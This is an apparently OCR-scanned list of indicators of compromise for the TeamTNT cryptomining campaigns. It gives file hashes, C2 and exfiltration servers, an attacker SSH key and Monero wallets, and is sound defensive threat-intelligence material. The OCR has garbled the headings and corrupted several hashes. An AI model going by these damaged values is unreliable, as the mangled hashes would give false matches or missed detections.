— hT®D Docker T —EADEE, WEEHNRZ N RunC /\1FU% LEEZTZS RunC OfESEHD
EA (CVE-2019-5736) REMNBDET,
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<IoCs>
2020 £ 2 AL DEIDF v > NR—>

Files
Name SHA256
bsh.sh 125dc99b9f94d5548bb68b371cb2ff22134b60b1fef915d1ae85b025f4039be0
ash.sh 561b76684d80084bd4b924e439f7e37683f486ca94fa088f283402dc7443271¢c
dcc96cdc7192a41fb242a680a83969e16247511816dc0f80e63b134059497ad 1
hole64 da43ed194729f82db68b1d91a17ceabafde8ae81357116c35c4c129888a836bf
Network
Value
36.7.154.124

116.62.122.90
3.215.110.66

125.254.128.200

SSH Key

ssh-rsa
AAAAB3NzaC1lyc2EAAAADAQABAAABAQDIzBOhz7bNT6qtQKCMcitaaxEBORYIJEZuumE+gUMrhéhg3c
CcSMg9qgnAIS/Lmw5SwwLIQXMB5WuhclPJsVawuP+pfsm1ZiGF2InczEW5kBw105FI/6WOV1p9MOaXH
Abpi7o/5Zauu3ITktyIWuUP5R91/2pUWCFZInnaiOr1KNtCBPisNYbZ4FWAQVGwXzUWZ/ZE7SYIoOUm3
EJihPPiTulegUmIzc7TzrnEn9M3U8K+LVFye+wDeSC3WNYwfjGQJA4aFsANQIiz890lh77G71aDR8LghNf
VVKkRjal6onDZwb2CZWSivkFsdYtL6690S407eqoes7wkIudo9QxsnOwxNv

2020 F 2 ADF v > R—>

Files
Name SHA256
32bit.tar.gz 40c298446a7e53c3775f67deedf5d13b7c2c601de3c744f72fda42f99c156075
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64bit.tar.gz 4f2ee441b35e8e0fe99608a011b632db219bd6631bcda39899b747a0dd38b5c6

bioset da43ed194729f82db68b1d91a17ceabafde8ae81357116¢35c4¢c129888a836bf
config.json 1470c3100b976ae2d4f9a1def5d6c6715d4f050e7de5e261b5d4e4a2faf9603d
cyo.sh 77334b8e3c8df468eda2ef93467d63e41dab7beb451a3bbb5637473fabc620d6
dbus-config b7225aefd8fb399a7f18639c32c59442daa5401b6164130e316092e8618f667f

FullCleanUp.sh 6a1221fc82b2bf13dc8112795d3edfb7bab8df7a9d4af69b89da4ac31e0e87e5

hfile e5f48ccf07addd83986f5b6f9444d5f91cacbb5c471b815a2b68a9c02727821b
hid.sh fe6e522ff266867060fa70d85be299ac5b12f2888935c5fe6e0a07d3ccaalde?
logs.c 59aa2101b05225dd0eb7e7b456eb26357540723e3c1d8a10deca83e9715a10fb
setup.sh b5ba2c86ebf85cbf700c83d7edc034717d7ee08e84fbae440a38139c15ef7a27

NarrenKappe.sh a25a73af06c43a20eb9f4f8b67357cec3c74143ccf97ce666446296a360d93fa

pnscan-1.11.tar.gz 702b123a3abd518ac696c9e340e1aaf4742d271922b8b537d8595ea6486d7aa8

punk.py a66140870d0a71c7bd42b7631e4a85858e6b33e4a21be637b94d41833dee8383
rd.sh d42ee8a001de9b13496f2980de6ca22b544a5a9012e9e97374343411593¢2¢29
setup.sh dad3016b75e89b415e3c7e360ec2ffa31e48b667082843013bbff719add826c7
s_poor.ssh.sh 1eead4f456ed8741d1de821e2fcecb026¢c1cbbf3477786cc3e637eac05811f46
sysinfo.txt 53ba0436084f054c9c2c8aaf110f2c89¢3c8b1fd9f1ed4cad8cedfa86b7dece8
tmp.min.sh 669ace6d57c68eda7f2fabcacfecf485a5¢c90bfc28a809a432e68b53f60836a4

watchdogd.tar.gz  e0876231c4829e0c7be4ffe47466b57e17a15e9¢1529f332f813ea532716¢c945
whois2.irc.sh 795a3d99c1e8e34a6228d95¢c4435¢5ed7c866dc0e303f9788eabfe055b1a7act

whois.irc 205db0ef59cad167c6132916f8f7a1d1963e740b364004 19b2e5ba307e9f765¢

32-bit Archive
Name SHA256
watchdogd 69fea980538a12ac0791f0801fc93d8b4d16e8329793d635221a16f935e8cal7

XMRig Miner 4256402fc04e49f3da8d1bf88efdcca6a3b03f4b881777d2c32a8df364cececd

64-bit Archive

Name SHA256
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bioset da43ed194729f82db68b1d91a17ceabafde8ae81357116c35c4c129888a836bf

config.json 285e91d3d578fcaf6665¢c70de4571602d572203b04¢c281c03b4bf9103aa5f61f
do.sh 9c29d4ecf6a60e7bfcOafbaa7a669a18af163440730711367d1¢c715042b5f755

lo 920014ace9add87139db41eb2538b292ad136fde7ac5683eb3b31e0fed5f808
rstart.sh 4beaf3edbd1065c0dfd02cf864effe3d1e18d0f39275f0d49cb21951a12976¢3
systemd-clean 3a2aa7235f0617df430b3d556779bee2ae0af75d7c2f17f052971d3f38fad9e0
watchdogd fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3
watchdogd.initd 16b26d9e4413c2f6d081ca093106935673747d5266aaa33f51c845e65b90e904

watchdogd.service  264c9b440f2fbd03000211a92a8bbb190f69¢c78dc087b8f757b3e8676554df57

watchdogd-stop 020ba2a9f603588dbc6498a6e230249c6952daa920a58de89d997b3fcdcdc115

XMRig Miner b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca
Network

Value Comment

icanhazip.com Used to determine IP

teamtnt.red Main server

123.56.193.119 Exfiltration server

116.62.122.90 Old server still used by some scripts

120.26.230.68 Miner CC

80.211.206.105 Command center
Wallet

e 89X8a5RgKMGLubB19DwVVgPxgF27C8hgpbtWMgNorpsDSu6Qw5uu4iJF8 WwolLt2VQGRgALf
jEgpg6lawRTaBwpciDatbCNB

2020 &

Files
Name SHA256
clean.sh 6b8d828511b479e3278264eff68059f03b3b8011f9a6daaeff2af06b13ba6090
dns 6c73e45b06544fc43ce0e9164be52810884f317a710978c31462eb5b8ebc30cc
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https://bohemianpool.com/
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dns3

dns3_32bit

init.sh (Trend Micro)
init.sh (the second script)
mxutzh.sh
NarrenKappe.sh
setup.mytoys.sh
setup.xmrig.curl.sh
sysinfo

lan.redis.pwn.sh

minion_worker.sh

20204 E

Files
Name
Carray.jpg
clean.jpg
cron.jpg

cron_set.jpg

SHA256

07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0

3876b58d12e27361bdfebd6efc5423d79b6676ca3b9d800f87098e95¢c3422e84

459190ba0173640594d9b1fa41d5ba610ecea59fd275d3ff378d4cedb044e26d

5c488d9d6820f859cde5fb5d147cfe584a603152653d12e720b897df60c6f810

8926672fe6ab2f9229a72e344fcb64a880a40db20f9a7 1ba0d92def9c14497b6

d791ac65b01008d2be9622095e6020d7a7930b6ce1713de5d713fc3cccfa862

b60be03a7305946a5b1e2d22aa4f8e3fc93a55e1d7637bebb58bf2de19a6¢cf4a

bebaac2a2b1d72aa189c98d00f4988b24c72f72ae9348c49f62d16b433b05332

3¢907087ec77fc1678011f753ddf4531a484009f3c64563d96eff0edealdcd29

25b4c5a3b3bfb1adab66fe17313a9828ef4ed13ea903e603f0ae36f3aa00cab0

2adb1a298dd4ffd1b4fe2d5f5468363e977c8962dc837dc57219362ee2fc3127

230e2a06df2cd7574ee15cb13714d77182f28d50f83a6ed58af39f1966177769

c55e4c67ba3cf54360a88980183767522fc05e8bf076f31399ee45efbfbd78e5

9f5e14ca8c877b7dff84ffbe018c461233af975654bd5b87431920dfc24568a5

705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0

ds.jpg
init.jpg
local.jpg
mo.jpg
mos.jpg
ssh.jpg
tnt.jpg
mo.jpg
mo.jpg

init.jpg

a386aced768146fecfe81cac214c51c7e575b2c0c27a29c683e3357706f651ba

616c3d5b2e1c14f53f8abceceafe723a91ad9f61b65dd22b247788329a41bc20e

b556d266b154c303bb90db005d7dd4267ed8d0e7 11e3fd32406c64b1fc977f9e

3a377eb5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f

0742efecbd7af343213a50cc5fd5¢cd2f8475613cfe6fb51f4296a7ec4533940d

929¢3017e6391b92b2fbce654cf7f8b0d3d222f96b5b203850590584975a298b

b3c94173daf8f825dcba80ecc813dd0ca36636851f9fa83901ae3b36af166d78

1b7180c7e1f150ba6848e392e8482b83c638b27b37873f7f0948be991416431

3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f

616c3d5b2e1c14f53f8abeceafe723a91ad9f61b65dd22b247788329a41bc20e
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cron_set.jpg 705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01¢c1161a71cb0

ds.jpg a386aced768146fecfe81cac214c51¢c7e575b2c0c27a29¢683e3357706f651ba

mo.jpg b6e369f0eb241ffb1b63c8c5b2b8a9131a9b98125¢ca869165f899026ab2c64ba

ssh.jpg b9036b471ade3aled2c3e7d7c20f0844ee15d67ddcbe3380350944e427a7bf49

cron.jpg c4cd9c12d47e5468f6f6e4b27e122f1a3d05dcae958245b59bde07d11c27328e
Archives

Name SHA256

01.jpg 78037e2d2e596bd450b99551535fa9c38c4e8346ab75eb424bf9e95316424fbe

21.jpg 4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b

22.jpg 4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983

about.jpg a79d4f5633dbbe98842d5073b41cc25468679c46e011373587ffdbc544d1eal2
det.jpg 79a060a0efcf4a1538c58e532b984dcd927fda17ca9fd10c2ff212f9d9d76be6
mod.jpg feb0a0f5ffba9d7b7d6878a8890a6d67d3f8ef6106e4e88719a63¢c3351e46a06

stock.jpg 2c40b76408d59f906f60db97ea36503bfc59aed22a154f5d564d8449c300594

Binaries
Name SHA256

impressum.jpg f64a828d58ac5bbdde5e982ebb0766c8969chb63b4ab642467392042f2a594295

jq-ipg bcfa215dec8fe15d4265c508c39¢c1ebafb7370acc95721e4e7d610b0459eb8dd
kube.jpg 15dce6f833812b119de9447db49e61f5¢238c4e45b0dafbe0bbaf0ab50bb329a
ms.jpg 72b1cbfbd87c6cd85b9dc1dad48c852768003e7fb4f01d8f6904921474be199ad
socat.jpg 71c81cb46dd1903f12f3aef844b0fc559f31e2f613a8ae91ffb5630bc7011ef5
tshd.jpg ba974b31c7e6715b83e9468f72fd5927d560fe80dbcba8c4466bb8ce5b93601d
zgrab.jpg 1474298ed7a5c63ca8098794cd743a276807ccale678e046160718626bb038f3
portainer b49a3f3cb4c70014e2¢35¢880d47bc475584b87b7dfcfab6d7341d42a16ebed43

e 88ZrgnVzZ687Wg8ipWyapjCVRWL8yFMRaBDrxtiPSWAQrNz5ZIBRozBSIrCYffurn1Qg7In7WpR
QSAA3C8aidaeadAn4xidk
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2020 F ™

Network
Value Comment
85[.]214.149.236 Host malicious scripts and binaries

https://iplogger|.]Jorg/2Xvkv5 Used to obtain the IP address of the victim

Name SHA256
Xmrig 3b4ff9aff08a7cal9a36ed997f94adb6b18bb757157cec4f04b53ba67e9377003
kdevtmpfsi dd603db3e2c0800d5eaa262b6b8553c68deaad86b545d4965df5dc43217¢cc839

xmrigCCMiner_64Bit  b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca

x86_64 139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375
xmrig fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3
2021 %
Kubernetes &%
Network
Value Comment
The.borg[.]wtf (45.9.150.36) Host malicious scripts and binaries
147.75.47.199 Used to obtain the IP address of the victim
teamtnt.red (45.9.148.108) Host malicious scripts and binaries
Borg.witf (45.9.148.108) Host malicious scripts and binaries
Irc.borg.wtf (123.245.9[.]1147) C2 server and runs IRC server
Sampwn.anondns.net (13.245.9[.]1147) C2 server and runs IRC server
164.68.106.96 C2 server and runs IRC server
62.234.121.105 C2 server and runs IRC server
Files
Name SHA256
TDGG 2¢1528253656ac09c7473911b24b243f083e60b98a19ba1bbb050979a1f38a0f
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tt.sh
api.key
tmate
sGAU.sh
kshell

install_monerod.bash

setup_moneroocean_

miner.sh
xmrig (oneroocean)
pei.sh
pei64
pei32
xmr3.assi
aws2.sh
t.sh
x86_64.s0
xmrig
Xmrig.so

xmr.sh

ziggy

Windows Z&iZ8

2cde98579162ab165623241719b2ab33ac40f0b5d0a8ba7e7067c7aebc530172

b34df4b273b3bedaab531be46a0780d97b87588e93¢c1818158a47f7add8c7204

d2fff992e40ce18ff81b9a92fa1cb93a56fb5a82c1cc428204552d8dfa1bc04f

74e3ccaeaddf277e1a9c458a671db74aa47630928a7825f75994756512b09d64

8e33496ea00218c07145396¢c6bcf3e25f4e38a1061f807d2d3653497a291348¢

518a19aa2c3c9f895efa0d130e6355af5b5d7edf28e2a2d9b944aa358¢23d887

5923f20010cb7c1d59aab36ba4 1c84cd20c25c6e64aace65dc8243ea827b537b

a22c2a6c2fdc5f5b962d2534aaae10d4de0379c9872f07aa10c77210ca652fa9

ee6dbbf85a3bb301a2e448c7fddaadc1c6f234a8c75597ee766c66f52540d015

937842811b9e2eb87c4c19354a1a790315f2669eea58b63264751de4da5438d

72cff62d801c5bcb185aa299eb26f417aad843e617cf9c39c69f9dde6eb82742

12c5c5d556394aa107a433144c185a686aba3bb44389b7241d84bea766e2aea3

053318adb15cf23075f737daa153b81ab8bd0f2958fa81cd85336ecdf3d7dede

€6422d97d381f255cd9e9f91f06e5e4921f070b23e4e35edd539a589b1d6aea7

77456c099facd775238086e8f9420308be432d461e55e49e1b24d96a8ea585e8

78f92857e18107872526feb1ae834edb9b7189df4a2129a4125a3dd8917f9983

3de32f315fd01b7b741cfbb7dfee22c30bf7b9a5a01d7ab6690fcb42759a3e9f

fe0f5fef4d78db808b9dc4e63eedadf862618ea21b9d03cbd884e37cde9018ee

74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607

Name SHA256

sniffer.exe 42e60ce9f0b7c5260282a7006af0166cd3603a6043d833719586bd1adaece138

svchost2.exe dd0a5c62db8403263872716b8b2dfd190fcfOc742e9d13ad2c40ab4 1df7f2045

® Wallet:

84dg9MjSkFvXkqHQuBr6ep6TfhR3pTPSDRYTMN5s8RgYMVRcnce7Day8edLkk3TgAaSHXu2N4W

3A3XjKMaSx4X8Q3KQgZnh
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https://supportxmr.com/
https://supportxmr.com/

2021 ¢ &
Name SHA256
aws.sh 8cedd6187439f73675b076d70647ee117ec3a4184a5045499a6172ae6e6c2c39

grab_aws-data.sh a1e9cd08073e4af3256b31e4b42f3aa69be40862b3988f964e96228f91236593

init.sh 46059d746599757226{93ea8ddcfb794d4bcdab05f0e553fbbef47b8b7c82d2b
search.sh ed40bce040778e2227c869dac59f54c320944619f77543954f40019e2f2b0c35
2021 ¢ E
Files
Name SHA256
Softid_rsa.LAN-spread  400992742aad73a1007034cf8308535322€629a75600addfe38202305101ba
mo.sh 1b72088fc6d780da95465/80ab26ba094d89232f30a4 1b1b0113c355¢fa57
Softid_rea LAN-spread  30054142b5188d03M0552a655¢326941366c9e3bb387404c61381cfeas06867
bot u 5e1af7f4e6cf89cff44ee209399a9fab3bfd8f1ca9703fb54cee05cce2b16d4c
scan.sh 6c8a2ba339141b93c67f9d79d86a469da75bfbc69f128a6ed702a663925d5a29

setup.scanner.root.sh 8737eb891a80302929a7d2a6ffacd51338705783f250ecbcd62d2d623f9e98fd

sx.sh a383e770c319b2411ed17775a114b697fb83ab53912266462ad1607c090ca608
kbot_x86_64 a46c870d1667a3ee31d2ba8969c9024bdb521ae8aad2079b672ce8416d85e8df
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Intezer Blog

https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/ (18 February 2022)
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